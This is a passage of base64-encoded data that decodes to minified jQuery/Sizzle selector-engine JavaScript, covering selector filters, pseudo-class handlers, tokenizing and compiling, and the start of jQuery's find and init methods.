lIHdoaWxlKHQ9ZVtyKytdKW4rPW8odCk7cmV0dXJuIG59LChiPXNlLnNlbGVjdG9ycz17Y2FjaGVMZW5ndGg6NTAsY3JlYXRlUHNldWRvOmxlLG1hdGNoOkcsYXR0ckhhbmRsZTp7fSxmaW5kOnt9LHJlbGF0aXZlOnsiPiI6e2RpcjoicGFyZW50Tm9kZSIsZmlyc3Q6ITB9LCIgIjp7ZGlyOiJwYXJlbnROb2RlIn0sIisiOntkaXI6InByZXZpb3VzU2libGluZyIsZmlyc3Q6ITB9LCJ+Ijp7ZGlyOiJwcmV2aW91c1NpYmxpbmcifX0scHJlRmlsdGVyOntBVFRSOmZ1bmN0aW9uKGUpe3JldHVybiBlWzFdPWVbMV0ucmVwbGFjZSh0ZSxuZSksZVszXT0oZVszXXx8ZVs0XXx8ZVs1XXx8IiIpLnJlcGxhY2UodGUsbmUpLCJ+PSI9PT1lWzJdJiYoZVszXT0iICIrZVszXSsiICIpLGUuc2xpY2UoMCw0KX0sQ0hJTEQ6ZnVuY3Rpb24oZSl7cmV0dXJuIGVbMV09ZVsxXS50b0xvd2VyQ2FzZSgpLCJudGgiPT09ZVsxXS5zbGljZSgwLDMpPyhlWzNdfHxzZS5lcnJvcihlWzBdKSxlWzRdPSsoZVs0XT9lWzVdKyhlWzZdfHwxKToyKigiZXZlbiI9PT1lWzNdfHwib2RkIj09PWVbM10pKSxlWzVdPSsoZVs3XStlWzhdfHwib2RkIj09PWVbM10pKTplWzNdJiZzZS5lcnJvcihlWzBdKSxlfSxQU0VVRE86ZnVuY3Rpb24oZSl7dmFyIHQsbj0hZVs2XSYmZVsyXTtyZXR1cm4gRy5DSElMRC50ZXN0KGVbMF0pP251bGw6KGVbM10/ZVsyXT1lWzRdfHxlWzVdfHwiIjpuJiZYLnRlc3QobikmJih0PWgobiwhMCkpJiYodD1uLmluZGV4T2YoIikiLG4ubGVuZ3RoLXQpLW4ubGVuZ3RoKSYmKGVbMF09ZVswXS5zbGljZSgwLHQpLGVbMl09bi5zbGljZSgwLHQpKSxlLnNsaWNlKDAsMykpfX0sZmlsdGVyOntUQUc6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5yZXBsYWNlKHRlLG5lKS50b0xvd2VyQ2FzZSgpO3JldHVybiIqIj09PWU/ZnVuY3Rpb24oKXtyZXR1cm4hMH06ZnVuY3Rpb24oZSl7cmV0dXJuIGUubm9kZU5hbWUmJmUubm9kZU5hbWUudG9Mb3dlckNhc2UoKT09PXR9fSxDTEFTUzpmdW5jdGlvbihlKXt2YXIgdD1tW2UrIiAiXTtyZXR1cm4gdHx8KHQ9bmV3IFJlZ0V4cCgiKF58IitNKyIpIitlKyIoIitNKyJ8JCkiKSkmJm0oZSxmdW5jdGlvbihlKXtyZXR1cm4gdC50ZXN0KCJzdHJpbmciPT10eXBlb2YgZS5jbGFzc05hbWUmJmUuY2xhc3NOYW1lfHwidW5kZWZpbmVkIiE9dHlwZW9mIGUuZ2V0QXR0cmlidXRlJiZlLmdldEF0dHJpYnV0ZSgiY2xhc3MiKXx8IiIpfSl9LEFUVFI6ZnVuY3Rpb24obixyLGkpe3JldHVybiBmdW5jdGlvbihlKXt2YXIgdD1zZS5hdHRyKGUsbik7cmV0dXJuIG51bGw9PXQ/IiE9Ij09PXI6IXJ8fCh0Kz0iIiwiPSI9PT1yP3Q9PT1pOiIhPSI9PT1yP3QhPT1pOiJePSI9PT1yP2kmJjA9PT10LmluZGV4T2YoaSk6Iio9Ij09PXI/aSYmLTE8dC5pbmRleE9mKGkpOiIkPSI9PT1yP2kmJnQuc2xpY2UoLWkubGVuZ3RoKT09PWk6In49Ij09PXI/LTE8KCIgIit0LnJlcGxhY2UoJCwiICIpKyIgIikuaW5kZXhPZihpKToifD0iPT09ciYmKHQ9PT1pfHx0LnNsaWNlKDAsaS5sZW5ndGgrMSk9PT1pKyItIikpfX0sQ0hJTEQ6ZnVuY3Rpb24oaCxlLHQsZyx5KXt2YXIgdj0ibnRoIiE9PWguc2xpY2UoMCwzKSxtPSJsYXN0IiE9PWguc2xpY2UoLTQpLHg9Im9mLXR5cGUiPT09ZTtyZXR1cm4gMT09PWcmJjA9PT15P2Z1bmN0aW9uKGUpe3JldHVybiEhZS5wYXJlbnROb2RlfTpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGEscyx1LGw9diE9PW0/Im5leHRTaWJsaW5nIjoicHJldmlvdXNTaWJsaW5nIixjPWUucGFyZW50Tm9kZSxmPXgmJmUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSxwPSFuJiYheCxkPSExO2lmKGMpe2lmKHYpe3doaWxlKGwpe2E9ZTt3aGlsZShhPWFbbF0paWYoeD9hLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT1mOjE9PT1hLm5vZGVUeXBlKXJldHVybiExO3U9bD0ib25seSI9PT1oJiYhdSYmIm5leHRTaWJsaW5nIn1yZXR1cm4hMH1pZih1PVttP2MuZmlyc3RDaGlsZDpjLmxhc3RDaGlsZF0sbSYmcCl7ZD0ocz0ocj0oaT0obz0oYT1jKVtTXXx8KGFbU109e30pKVthLnVuaXF1ZUlEXXx8KG9bYS51bmlxdWVJRF09e30pKVtoXXx8W10pWzBdPT09ayYmclsxXSkmJnJbMl0sYT1zJiZjLmNoaWxkTm9kZXNbc107d2hpbGUoYT0rK3MmJmEmJmFbbF18fChkPXM9MCl8fHUucG9wKCkpaWYoMT09PWEubm9kZVR5cGUmJisrZCYmYT09PWUpe2lbaF09W2sscyxkXTticmVha319ZWxzZSBpZihwJiYoZD1zPShyPShpPShvPShhPWUpW1NdfHwoYVtTXT17fSkpW2EudW5pcXVlSURdfHwob1thLnVuaXF1ZUlEXT17fSkpW2hdfHxbXSlbMF09PT1rJiZyWzFdKSwhMT09PWQpd2hpbGUoYT0rK3MmJmEmJmFbbF18fChkPXM9MCl8fHUucG9wKCkpaWYoKHg/YS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpPT09ZjoxPT09YS5ub2RlVHlwZSkmJisrZCYmKHAmJigoaT0obz1hW1NdfHwoYVtTXT17fSkpW2EudW5pcXVlSURdfHwob1thLnVuaXF1ZUlEXT17fSkpW2hdPVtrLGRdKSxhPT09ZSkpYnJlYWs7cmV0dXJuKGQtPXkpPT09Z3x8ZCVnPT0wJiYwPD1kL2d9fX0sUFNFVURPOmZ1bmN0aW9uKGUsbyl7dmFyIHQsYT1iLnBzZXVkb3NbZV18fGIuc2V0RmlsdGVyc1tlLnRvTG93ZXJDYXNlKCldfHxzZS5lcnJvcigidW5zdXBwb3J0ZWQgcHNldWRvOiAiK2UpO3JldHVybiBhW1NdP2Eobyk6MTxhLmxlbmd0aD8odD1bZSxlLCIiLG9dLGIuc2V0RmlsdGVycy5oYXNPd25Qcm9wZXJ0eShlLnRvTG93ZXJDYXNlKCkpP2xlKGZ1bmN0aW9uKGUsdCl7dmFyIG4scj1hKGUsbyksaT1yLmxlbmd0aDt3aGlsZShpLS0pZVtuPVAoZSxyW2ldKV09ISh0W25dPXJbaV0pfSk6ZnVuY3Rpb24oZSl7cmV0dXJuIGEoZSwwLHQpfSk6YX19LHBzZXVkb3M6e25vdDpsZShmdW5jdGlvbihlKXt2YXIgcj1bXSxpPVtdLHM9ZihlLnJlcGxhY2UoQiwiJDEiKSk7cmV0dXJuIHNbU10/bGUoZnVuY3Rpb24oZSx0LG4scil7dmFyIGksbz1zKGUsbnVsbCxyLFtdKSxhPWUubGVuZ3RoO3doaWxlKGEtLSkoaT1vW2FdKSYmKGVbYV09ISh0W2FdPWkpKX0pOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gclswXT1lLHMocixudWxsLG4saSksclswXT1udWxsLCFpLnBvcCgpfX0pLGhhczpsZShmdW5jdGlvbih0KXtyZXR1cm4gZnVuY3Rpb24oZSl7cmV0dXJuIDA8c2UodCxlKS5sZW5ndGh9fSksY29udGFpbnM6bGUoZnVuY3Rpb24odCl7cmV0dXJuIHQ9dC5yZXBsYWNlKHRlLG5lKSxmdW5jdGlvbihlKXtyZXR1cm4tMTwoZS50ZXh0Q29udGVudHx8byhlKSkuaW5kZXhPZih0KX19KSxsYW5nOmxlKGZ1bmN0aW9uKG4pe3JldHVybiBWLnRlc3Qobnx8IiIpfHxzZS5lcnJvcigidW5zdXBwb3J0ZWQgbGFuZzogIituKSxuPW4ucmVwbGFjZSh0ZSxuZSkudG9Mb3dlckNhc2UoKSxmdW5jdGlvbihlKXt2YXIgdDtkb3tpZih0PUU/ZS5sYW5nOmUuZ2V0QXR0cmlidXRlKCJ4bWw6bGFuZyIpfHxlLmdldEF0dHJpYnV0ZSgibGFuZyIpKXJldHVybih0PXQudG9Mb3dlckNhc2UoKSk9PT1ufHwwPT09dC5pbmRleE9mKG4rIi0iKX13aGlsZSgoZT1lLnBhcmVudE5vZGUpJiYxPT09ZS5ub2RlVHlwZSk7cmV0dXJuITF9fSksdGFyZ2V0OmZ1bmN0aW9uKGUpe3ZhciB0PW4ubG9jYXRpb24mJm4ubG9jYXRpb24uaGFzaDtyZXR1cm4gdCYmdC5zbGljZSgxKT09PWUuaWR9LHJvb3Q6ZnVuY3Rpb24oZSl7cmV0dXJuIGU9PT1hfSxmb2N1czpmdW5jdGlvbihlKXtyZXR1cm4gZT09PUMuYWN0aXZlRWxlbWVudCYmKCFDLmhhc0ZvY3VzfHxDLmhhc0ZvY3VzKCkpJiYhIShlLnR5cGV8fGUuaHJlZnx8fmUudGFiSW5kZXgpfSxlbmFibGVkOmdlKCExKSxkaXNhYmxlZDpnZSghMCksY2hlY2tlZDpmdW5jdGlvbihlKXt2YXIgdD1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuImlucHV0Ij09PXQmJiEhZS5jaGVja2VkfHwib3B0aW9uIj09PXQmJiEhZS5zZWxlY3RlZH0sc2VsZWN0ZWQ6ZnVuY3Rpb24oZSl7cmV0dXJuIGUucGFyZW50Tm9kZSYmZS5wYXJlbnROb2RlLnNlbGVjdGVkSW5kZXgsITA9PT1lLnNlbGVjdGVkfSxlbXB0eTpmdW5jdGlvbihlKXtmb3IoZT1lLmZpcnN0Q2hpbGQ7ZTtlPWUubmV4dFNpYmxpbmcpaWYoZS5ub2RlVHlwZTw2KXJldHVybiExO3JldHVybiEwfSxwYXJlbnQ6ZnVuY3Rpb24oZSl7cmV0dXJuIWIucHNldWRvcy5lbXB0eShlKX0saGVhZGVyOmZ1bmN0aW9uKGUpe3JldHVybiBKLnRlc3QoZS5ub2RlTmFtZSl9LGlucHV0OmZ1bmN0aW9uKGUpe3JldHVybiBRLnRlc3QoZS5ub2RlTmFtZSl9LGJ1dHRvbjpmdW5jdGlvbihlKXt2YXIgdD1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuImlucHV0Ij09PXQmJiJidXR0b24iPT09ZS50eXBlfHwiYnV0dG9uIj09PXR9LHRleHQ6ZnVuY3Rpb24oZSl7dmFyIHQ7cmV0dXJuImlucHV0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSYmInRleHQiPT09ZS50eXBlJiYobnVsbD09KHQ9ZS5nZXRBdHRyaWJ1dGUoInR5cGUiKSl8fCJ0ZXh0Ij09PXQudG9Mb3dlckNhc2UoKSl9LGZpcnN0OnllKGZ1bmN0aW9uKCl7cmV0dXJuWzBdfSksbGFzdDp5ZShmdW5jdGlvbihlLHQpe3JldHVyblt0LTFdfSksZXE6eWUoZnVuY3Rpb24oZSx0LG4pe3JldHVybltuPDA/bit0Om5dfSksZXZlbjp5ZShmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0wO248dDtuKz0yKWUucHVzaChuKTtyZXR1cm4gZX0pLG9kZDp5ZShmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0xO248dDtuKz0yKWUucHVzaChuKTtyZXR1cm4gZX0pLGx0OnllKGZ1bmN0aW9uKGUsdCxuKXtmb3IodmFyIHI9bjwwP24rdDp0PG4/dDpuOzA8PS0tcjspZS5wdXNoKHIpO3JldHVybiBlfSksZ3Q6eWUoZnVuY3Rpb24oZSx0LG4pe2Zvcih2YXIgcj1uPDA/bit0Om47KytyPHQ7KWUucHVzaChyKTtyZXR1cm4gZX0pfX0pLnBzZXVkb3MubnRoPWIucHNldWRvcy5lcSx7cmFkaW86ITAsY2hlY2tib3g6ITAsZmlsZTohMCxwYXNzd29yZDohMCxpbWFnZTohMH0pYi5wc2V1ZG9zW2VdPWRlKGUpO2ZvcihlIGlue3N1Ym1pdDohMCxyZXNldDohMH0pYi5wc2V1ZG9zW2VdPWhlKGUpO2Z1bmN0aW9uIG1lKCl7fWZ1bmN0aW9uIHhlKGUpe2Zvcih2YXIgdD0wLG49ZS5sZW5ndGgscj0iIjt0PG47dCsrKXIrPWVbdF0udmFsdWU7cmV0dXJuIHJ9ZnVuY3Rpb24gYmUocyxlLHQpe3ZhciB1PWUuZGlyLGw9ZS5uZXh0LGM9bHx8dSxmPXQmJiJwYXJlbnROb2RlIj09PWMscD1yKys7cmV0dXJuIGUuZmlyc3Q/ZnVuY3Rpb24oZSx0LG4pe3doaWxlKGU9ZVt1XSlpZigxPT09ZS5ub2RlVHlwZXx8ZilyZXR1cm4gcyhlLHQsbik7cmV0dXJuITF9OmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYT1bayxwXTtpZihuKXt3aGlsZShlPWVbdV0paWYoKDE9PT1lLm5vZGVUeXBlfHxmKSYmcyhlLHQsbikpcmV0dXJuITB9ZWxzZSB3aGlsZShlPWVbdV0paWYoMT09PWUubm9kZVR5cGV8fGYpaWYoaT0obz1lW1NdfHwoZVtTXT17fSkpW2UudW5pcXVlSURdfHwob1tlLnVuaXF1ZUlEXT17fSksbCYmbD09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSllPWVbdV18fGU7ZWxzZXtpZigocj1pW2NdKSYmclswXT09PWsmJnJbMV09PT1wKXJldHVybiBhWzJdPXJbMl07aWYoKGlbY109YSlbMl09cyhlLHQsbikpcmV0dXJuITB9cmV0dXJuITF9fWZ1bmN0aW9uIHdlKGkpe3JldHVybiAxPGkubGVuZ3RoP2Z1bmN0aW9uKGUsdCxuKXt2YXIgcj1pLmxlbmd0aDt3aGlsZShyLS0paWYoIWlbcl0oZSx0LG4pKXJldHVybiExO3JldHVybiEwfTppWzBdfWZ1bmN0aW9uIFRlKGUsdCxuLHIsaSl7Zm9yKHZhciBvLGE9W10scz0wLHU9ZS5sZW5ndGgsbD1udWxsIT10O3M8dTtzKyspKG89ZVtzXSkmJihuJiYhbihvLHIsaSl8fChhLnB1c2gobyksbCYmdC5wdXNoKHMpKSk7cmV0dXJuIGF9ZnVuY3Rpb24gQ2UoZCxoLGcseSx2LGUpe3JldHVybiB5JiYheVtTXSYmKHk9Q2UoeSkpLHYmJiF2W1NdJiYodj1DZSh2LGUpKSxsZShmdW5jdGlvbihlLHQsbixyKXt2YXIgaSxvLGEscz1bXSx1PVtdLGw9dC5sZW5ndGgsYz1lfHxmdW5jdGlvbihlLHQsbil7Zm9yKHZhciByPTAsaT10Lmxlbmd0aDtyPGk7cisrKXNlKGUsdFtyXSxuKTtyZXR1cm4gbn0oaHx8IioiLG4ubm9kZVR5cGU/W25dOm4sW10pLGY9IWR8fCFlJiZoP2M6VGUoYyxzLGQsbixyKSxwPWc/dnx8KGU/ZDpsfHx5KT9bXTp0OmY7aWYoZyYmZyhmLHAsbixyKSx5KXtpPVRlKHAsdSkseShpLFtdLG4sciksbz1pLmxlbmd0aDt3aGlsZShvLS0pKGE9aVtvXSkmJihwW3Vbb11dPSEoZlt1W29dXT1hKSl9aWYoZSl7aWYodnx8ZCl7aWYodil7aT1bXSxvPXAubGVuZ3RoO3doaWxlKG8tLSkoYT1wW29dKSYmaS5wdXNoKGZbb109YSk7dihudWxsLHA9W10saSxyKX1vPXAubGVuZ3RoO3doaWxlKG8tLSkoYT1wW29dKSYmLTE8KGk9dj9QKGUsYSk6c1tvXSkmJihlW2ldPSEodFtpXT1hKSl9fWVsc2UgcD1UZShwPT09dD9wLnNwbGljZShsLHAubGVuZ3RoKTpwKSx2P3YobnVsbCx0LHAscik6SC5hcHBseSh0LHApfSl9ZnVuY3Rpb24gRWUoZSl7Zm9yKHZhciBpLHQsbixyPWUubGVuZ3RoLG89Yi5yZWxhdGl2ZVtlWzBdLnR5cGVdLGE9b3x8Yi5yZWxhdGl2ZVsiICJdLHM9bz8xOjAsdT1iZShmdW5jdGlvbihlKXtyZXR1cm4gZT09PWl9LGEsITApLGw9YmUoZnVuY3Rpb24oZSl7cmV0dXJuLTE8UChpLGUpfSxhLCEwKSxjPVtmdW5jdGlvbihlLHQsbil7dmFyIHI9IW8mJihufHx0IT09dyl8fCgoaT10KS5ub2RlVHlwZT91KGUsdCxuKTpsKGUsdCxuKSk7cmV0dXJuIGk9bnVsbCxyfV07czxyO3MrKylpZih0PWIucmVsYXRpdmVbZVtzXS50eXBlXSljPVtiZSh3ZShjKSx0KV07ZWxzZXtpZigodD1iLmZpbHRlcltlW3NdLnR5cGVdLmFwcGx5KG51bGwsZVtzXS5tYXRjaGVzKSlbU10pe2ZvcihuPSsrcztuPHI7bisrKWlmKGIucmVsYXRpdmVbZVtuXS50eXBlXSlicmVhaztyZXR1cm4gQ2UoMTxzJiZ3ZShjKSwxPHMmJnhlKGUuc2xpY2UoMCxzLTEpLmNvbmNhdCh7dmFsdWU6IiAiPT09ZVtzLTJdLnR5cGU/IioiOiIifSkpLnJlcGxhY2UoQiwiJDEiKSx0LHM8biYmRWUoZS5zbGljZShzLG4pKSxuPHImJkVlKGU9ZS5zbGljZShuKSksbjxyJiZ4ZShlKSl9Yy5wdXNoKHQpfXJldHVybiB3ZShjKX1yZXR1cm4gbWUucHJvdG90eXBlPWIuZmlsdGVycz1iLnBzZXVkb3MsYi5zZXRGaWx0ZXJzPW5ldyBtZSxoPXNlLnRva2VuaXplPWZ1bmN0aW9uKGUsdCl7dmFyIG4scixpLG8sYSxzLHUsbD14W2UrIiAiXTtpZihsKXJldHVybiB0PzA6bC5zbGljZSgwKTthPWUscz1bXSx1PWIucHJlRmlsdGVyO3doaWxlKGEpe2ZvcihvIGluIG4mJiEocj1fLmV4ZWMoYSkpfHwociYmKGE9YS5zbGljZShyWzBdLmxlbmd0aCl8fGEpLHMucHVzaChpPVtdKSksbj0hMSwocj16LmV4ZWMoYSkpJiYobj1yLnNoaWZ0KCksaS5wdXNoKHt2YWx1ZTpuLHR5cGU6clswXS5yZXBsYWNlKEIsIiAiKX0pLGE9YS5zbGljZShuLmxlbmd0aCkpLGIuZmlsdGVyKSEocj1HW29dLmV4ZWMoYSkpfHx1W29dJiYhKHI9dVtvXShyKSl8fChuPXIuc2hpZnQoKSxpLnB1c2goe3ZhbHVlOm4sdHlwZTpvLG1hdGNoZXM6cn0pLGE9YS5zbGljZShuLmxlbmd0aCkpO2lmKCFuKWJyZWFrfXJldHVybiB0P2EubGVuZ3RoOmE/c2UuZXJyb3IoZSk6eChlLHMpLnNsaWNlKDApfSxmPXNlLmNvbXBpbGU9ZnVuY3Rpb24oZSx0KXt2YXIgbix5LHYsbSx4LHIsaT1bXSxvPVtdLGE9QVtlKyIgIl07aWYoIWEpe3R8fCh0PWgoZSkpLG49dC5sZW5ndGg7d2hpbGUobi0tKShhPUVlKHRbbl0pKVtTXT9pLnB1c2goYSk6by5wdXNoKGEpOyhhPUEoZSwoeT1vLG09MDwodj1pKS5sZW5ndGgseD0wPHkubGVuZ3RoLHI9ZnVuY3Rpb24oZSx0LG4scixpKXt2YXIgbyxhLHMsdT0wLGw9IjAiLGM9ZSYmW10sZj1bXSxwPXcsZD1lfHx4JiZiLmZpbmQuVEFHKCIqIixpKSxoPWsrPW51bGw9PXA/MTpNYXRoLnJhbmRvbSgpfHwuMSxnPWQubGVuZ3RoO2ZvcihpJiYodz10PT1DfHx0fHxpKTtsIT09ZyYmbnVsbCE9KG89ZFtsXSk7bCsrKXtpZih4JiZvKXthPTAsdHx8by5vd25lckRvY3VtZW50PT1DfHwoVChvKSxuPSFFKTt3aGlsZShzPXlbYSsrXSlpZihzKG8sdHx8QyxuKSl7ci5wdXNoKG8pO2JyZWFrfWkmJihrPWgpfW0mJigobz0hcyYmbykmJnUtLSxlJiZjLnB1c2gobykpfWlmKHUrPWwsbSYmbCE9PXUpe2E9MDt3aGlsZShzPXZbYSsrXSlzKGMsZix0LG4pO2lmKGUpe2lmKDA8dSl3aGlsZShsLS0pY1tsXXx8ZltsXXx8KGZbbF09cS5jYWxsKHIpKTtmPVRlKGYpfUguYXBwbHkocixmKSxpJiYhZSYmMDxmLmxlbmd0aCYmMTx1K3YubGVuZ3RoJiZzZS51bmlxdWVTb3J0KHIpfXJldHVybiBpJiYoaz1oLHc9cCksY30sbT9sZShyKTpyKSkpLnNlbGVjdG9yPWV9cmV0dXJuIGF9LGc9c2Uuc2VsZWN0PWZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBpLG8sYSxzLHUsbD0iZnVuY3Rpb24iPT10eXBlb2YgZSYmZSxjPSFyJiZoKGU9bC5zZWxlY3Rvcnx8ZSk7aWYobj1ufHxbXSwxPT09Yy5sZW5ndGgpe2lmKDI8KG89Y1swXT1jWzBdLnNsaWNlKDApKS5sZW5ndGgmJiJJRCI9PT0oYT1vWzBdKS50eXBlJiY5PT09dC5ub2RlVHlwZSYmRSYmYi5yZWxhdGl2ZVtvWzFdLnR5cGVdKXtpZighKHQ9KGIuZmluZC5JRChhLm1hdGNoZXNbMF0ucmVwbGFjZSh0ZSxuZSksdCl8fFtdKVswXSkpcmV0dXJuIG47bCYmKHQ9dC5wYXJlbnROb2RlKSxlPWUuc2xpY2Uoby5zaGlmdCgpLnZhbHVlLmxlbmd0aCl9aT1HLm5lZWRzQ29udGV4dC50ZXN0KGUpPzA6by5sZW5ndGg7d2hpbGUoaS0tKXtpZihhPW9baV0sYi5yZWxhdGl2ZVtzPWEudHlwZV0pYnJlYWs7aWYoKHU9Yi5maW5kW3NdKSYmKHI9dShhLm1hdGNoZXNbMF0ucmVwbGFjZSh0ZSxuZSksZWUudGVzdChvWzBdLnR5cGUpJiZ2ZSh0LnBhcmVudE5vZGUpfHx0KSkpe2lmKG8uc3BsaWNlKGksMSksIShlPXIubGVuZ3RoJiZ4ZShvKSkpcmV0dXJuIEguYXBwbHkobixyKSxuO2JyZWFrfX19cmV0dXJuKGx8fGYoZSxjKSkocix0LCFFLG4sIXR8fGVlLnRlc3QoZSkmJnZlKHQucGFyZW50Tm9kZSl8fHQpLG59LGQuc29ydFN0YWJsZT1TLnNwbGl0KCIiKS5zb3J0KGopLmpvaW4oIiIpPT09UyxkLmRldGVjdER1cGxpY2F0ZXM9ISFsLFQoKSxkLnNvcnREZXRhY2hlZD1jZShmdW5jdGlvbihlKXtyZXR1cm4gMSZlLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKEMuY3JlYXRlRWxlbWVudCgiZmllbGRzZXQiKSl9KSxjZShmdW5jdGlvbihlKXtyZXR1cm4gZS5pbm5lckhUTUw9IjxhIGhyZWY9JyMnPjwvYT4iLCIjIj09PWUuZmlyc3RDaGlsZC5nZXRBdHRyaWJ1dGUoImhyZWYiKX0pfHxmZSgidHlwZXxocmVmfGhlaWdodHx3aWR0aCIsZnVuY3Rpb24oZSx0LG4pe2lmKCFuKXJldHVybiBlLmdldEF0dHJpYnV0ZSh0LCJ0eXBlIj09PXQudG9Mb3dlckNhc2UoKT8xOjIpfSksZC5hdHRyaWJ1dGVzJiZjZShmdW5jdGlvbihlKXtyZXR1cm4gZS5pbm5lckhUTUw9IjxpbnB1dC8+IixlLmZpcnN0Q2hpbGQuc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIiIpLCIiPT09ZS5maXJzdENoaWxkLmdldEF0dHJpYnV0ZSgidmFsdWUiKX0pfHxmZSgidmFsdWUiLGZ1bmN0aW9uKGUsdCxuKXtpZighbiYmImlucHV0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSlyZXR1cm4gZS5kZWZhdWx0VmFsdWV9KSxjZShmdW5jdGlvbihlKXtyZXR1cm4gbnVsbD09ZS5nZXRBdHRyaWJ1dGUoImRpc2FibGVkIil9KXx8ZmUoUixmdW5jdGlvbihlLHQsbil7dmFyIHI7aWYoIW4pcmV0dXJuITA9PT1lW3RdP3QudG9Mb3dlckNhc2UoKToocj1lLmdldEF0dHJpYnV0ZU5vZGUodCkpJiZyLnNwZWNpZmllZD9yLnZhbHVlOm51bGx9KSxzZX0oQyk7Uy5maW5kPWQsUy5leHByPWQuc2VsZWN0b3JzLFMuZXhwclsiOiJdPVMuZXhwci5wc2V1ZG9zLFMudW5pcXVlU29ydD1TLnVuaXF1ZT1kLnVuaXF1ZVNvcnQsUy50ZXh0PWQuZ2V0VGV4dCxTLmlzWE1MRG9jPWQuaXNYTUwsUy5jb250YWlucz1kLmNvbnRhaW5zLFMuZXNjYXBlU2VsZWN0b3I9ZC5lc2NhcGU7dmFyIGg9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPVtdLGk9dm9pZCAwIT09bjt3aGlsZSgoZT1lW3RdKSYmOSE9PWUubm9kZVR5cGUpaWYoMT09PWUubm9kZVR5cGUpe2lmKGkmJlMoZSkuaXMobikpYnJlYWs7ci5wdXNoKGUpfXJldHVybiByfSxUPWZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBuPVtdO2U7ZT1lLm5leHRTaWJsaW5nKTE9PT1lLm5vZGVUeXBlJiZlIT09dCYmbi5wdXNoKGUpO3JldHVybiBufSxrPVMuZXhwci5tYXRjaC5uZWVkc0NvbnRleHQ7ZnVuY3Rpb24gQShlLHQpe3JldHVybiBlLm5vZGVOYW1lJiZlLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT10LnRvTG93ZXJDYXNlKCl9dmFyIE49L148KFthLXpdW15cL1wwPjpceDIwXHRcclxuXGZdKilbXHgyMFx0XHJcblxmXSpcLz8+KD86PFwvXDE+fCkkL2k7ZnVuY3Rpb24gaihlLG4scil7cmV0dXJuIG0obik/Uy5ncmVwKGUsZnVuY3Rpb24oZSx0KXtyZXR1cm4hIW4uY2FsbChlLHQsZSkhPT1yfSk6bi5ub2RlVHlwZT9TLmdyZXAoZSxmdW5jdGlvbihlKXtyZXR1cm4gZT09PW4hPT1yfSk6InN0cmluZyIhPXR5cGVvZiBuP1MuZ3JlcChlLGZ1bmN0aW9uKGUpe3JldHVybi0xPGkuY2FsbChuLGUpIT09cn0pOlMuZmlsdGVyKG4sZSxyKX1TLmZpbHRlcj1mdW5jdGlvbihlLHQsbil7dmFyIHI9dFswXTtyZXR1cm4gbiYmKGU9Ijpub3QoIitlKyIpIiksMT09PXQubGVuZ3RoJiYxPT09ci5ub2RlVHlwZT9TLmZpbmQubWF0Y2hlc1NlbGVjdG9yKHIsZSk/W3JdOltdOlMuZmluZC5tYXRjaGVzKGUsUy5ncmVwKHQsZnVuY3Rpb24oZSl7cmV0dXJuIDE9PT1lLm5vZGVUeXBlfSkpfSxTLmZuLmV4dGVuZCh7ZmluZDpmdW5jdGlvbihlKXt2YXIgdCxuLHI9dGhpcy5sZW5ndGgsaT10aGlzO2lmKCJzdHJpbmciIT10eXBlb2YgZSlyZXR1cm4gdGhpcy5wdXNoU3RhY2soUyhlKS5maWx0ZXIoZnVuY3Rpb24oKXtmb3IodD0wO3Q8cjt0KyspaWYoUy5jb250YWlucyhpW3RdLHRoaXMpKXJldHVybiEwfSkpO2ZvcihuPXRoaXMucHVzaFN0YWNrKFtdKSx0PTA7dDxyO3QrKylTLmZpbmQoZSxpW3RdLG4pO3JldHVybiAxPHI/Uy51bmlxdWVTb3J0KG4pOm59LGZpbHRlcjpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soaih0aGlzLGV8fFtdLCExKSl9LG5vdDpmdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5wdXNoU3RhY2soaih0aGlzLGV8fFtdLCEwKSl9LGlzOmZ1bmN0aW9uKGUpe3JldHVybiEhaih0aGlzLCJzdHJpbmciPT10eXBlb2YgZSYmay50ZXN0KGUpP1MoZSk6ZXx8W10sITEpLmxlbmd0aH19KTt2YXIgRCxxPS9eKD86XHMqKDxbXHdcV10rPilbXj5dKnwjKFtcdy1dKykpJC87KFMuZm4uaW5pdD1mdW5jdGlvbihlLHQsbil7dmFyIHIsaTtpZighZSlyZXR1cm4gdGhpcztpZihuPW58fEQsInN0cmluZyI9PXR5cGVvZiBlKXtpZighKHI9IjwiPT09ZVswXSYmIj4iPT09ZVtlLmxlbmd0aC0xXSYmMzw9ZS5sZW5ndGg/W251bGwsZSxudWxsXTpxLmV4ZWMoZSkpfHwhclsxXSYmdClyZXR1cm4hdHx8dC5qcXVlcnk/KHR8fG4pLmZpbmQoZSk6dGhpcy5jb25zdHJ1Y3Rvcih0KS5maW5kKGUpO2lmKHJbMV0pe2lmKHQ9dCBpbnN0YW5jZW9mIFM/dFswXTp0LFMubWVyZ2UodGhpcyxTLnBhcnNlSFRNTChyWzFdLHQmJnQubm9kZVR5cGU/dC5vd25lckRvY3VtZW50fHx0OkUsITApKSxOLnRlc3QoclsxXSkmJlMuaXNQbGFpbk9iamVjdCh0KSlmb3IociBpbiB0KW0odGhpc1tyXSk/dGhpc1tyXSh0W3JdKTp0aGlzLmF0dHIocix0W3JdKTtyZXR1cm4gdGhpc31yZXR1cm4oaT1FLmdldEVsZW1lbnRCeUlkKHJbMl0pKSYmKHRoaXNbMF09aSx0aGlzLmxlbmd0aD0xKSx0aGlzfXJldHVybiBlLm5vZGVUeXBlPyh0aGlzWzB